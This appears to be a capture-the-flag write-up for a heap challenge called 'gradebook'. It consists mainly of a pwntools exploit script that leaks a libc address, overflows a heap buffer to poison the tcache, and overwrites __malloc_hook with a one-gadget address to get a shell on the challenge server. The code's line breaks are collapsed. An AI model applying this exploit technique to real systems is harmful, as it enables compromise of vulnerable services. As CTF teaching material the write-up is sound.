## TLDRHeap buffer overflow -> write `__malloc_hook` into tcache pointer, malloc to write to `__malloc_hook`, malloc again to trigger one gadget.
The [full writeup](https://github.com/junron/writeups/blob/master/2021/kernelctf/gradebook.md) is much more detailed (maybe too detailed), but it's suitable for beginners who have never touched a heap challenge.
## Script```#!/usr/bin/env python3
from pwn import *
exe = ELF("./gradebook")libc = ELF("./libc.so.6")ld = ELF("./ld-2.31.so")
context.binary = exe
def conn():    if args.LOCAL:        return process([ld.path, exe.path], env={"LD_PRELOAD": libc.path})    else:        return remote("ctf.k3rn3l4rmy.com", 2250)
def main():    r = conn()    r.sendline("1")    r.sendline("a1")    r.sendline("1250")    r.sendline("a"*20)    r.recvuntil("Exit Gradebook")    r.sendline("1")    r.sendline("a2")    r.sendline("10")    r.sendline("hi")    r.recvuntil("Exit Gradebook")    # I encountered a bit of a race condition, which is weird    time.sleep(1)    r.sendline("5")    r.recvuntil("Exit Gradebook")    r.sendline("1")    r.sendline("b1")    r.sendline("1250")    r.sendline("a"*7)    r.recvuntil("Exit Gradebook")    r.sendline("2")    r.recvuntil("NAME: aaaaaaa\n")    d = r.recvuntil("STUDENT ID")``    data = d.split(b"\n")[0]+b"\0\0"    print(data)    leak = u64(data)     libc_addr = leak - 2014176    print(hex(libc_addr))    libc.address = libc_addr     r.sendline("3")    r.sendline("b1")    r.sendline(str(0xaaaaaaaaaaaaaa))    r.recvuntil("Exit Gradebook")    r.sendline("4")    r.sendline("b1")    print(hex(libc.sym.__malloc_hook))    r.sendline(b"a"*(1256+32)+p64(0x21)+p64(libc.sym.__malloc_hook))    r.recvuntil("Exit Gradebook")    r.sendline("1")    r.sendline("a3")    r.sendline("20")    r.sendline(p64(0xe6c81 +libc.address))    r.recvuntil("Exit Gradebook")    r.sendline("1")    r.sendline("a4")    r.sendline("20")
    r.interactive()
if __name__ == "__main__":    main()```